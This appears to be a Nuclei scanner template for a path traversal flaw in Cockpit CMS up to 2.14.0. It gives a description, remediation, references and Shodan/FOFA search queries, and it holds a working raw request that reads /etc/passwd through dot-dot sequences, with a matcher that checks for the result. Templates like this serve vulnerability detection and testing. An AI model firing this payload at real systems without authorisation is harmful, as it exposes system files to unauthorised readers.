Cockpit CMS <= 2.14.0 - Path Traversal / Local File Inclusion

id: CVE-2026-58467

info:
  name: Cockpit CMS <= 2.14.0 - Path Traversal / Local File Inclusion
  author: Abdullah Shahid (comradezephyr)
  severity: high
  description: |
    Cockpit CMS through 2.14.0 contains a path traversal and local file inclusion (LFI) vulnerability when executed under PHP's built-in CLI server (PHP_SAPI == 'cli-server') or non-normalizing reverse proxies. The application fails to sanitize dot-dot sequences in PATH_INFO routes starting with '/:' and containing '/storage/'. Unauthenticated remote attackers can traverse outside the designated directory to read arbitrary system files.
  impact: |
    An unauthenticated attacker can read sensitive system files (e.g., /etc/passwd), leading to potential credential exposure or further system compromise.
  remediation: |
    Upgrade to Cockpit CMS version 2.14.1 or higher.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-58467
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58467
    - https://github.com/cockpit-hq/cockpit/compare/2.14.0...2.14.1
    - https://github.com/geo-chen/oss/blob/main/cockpit.md
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.2
    cve-id: CVE-2026-58467
    epss-score: 0.0173
    epss-percentile: 0.76585
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
    vendor: cockpit-hq
    product: cockpit
    shodan-query: 'http.favicon.hash:"688609340"'
    fofa-query: 'icon_hash=="688609340"'
  tags: cve,cve2026,cockpit,cms,lfi,traversal

http:
  - raw:
      - |
        GET /:x/storage/../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206d7cd6f21e5e6cd42fd18943b800c3e6dead77656b24ba67f5b9cc10426f7ef4022100b78939f336bf95d64cf9b8a12e6f19a517e416885e0756e176303bcf23134ca6:922c64590222798bb761d5b6d8e72950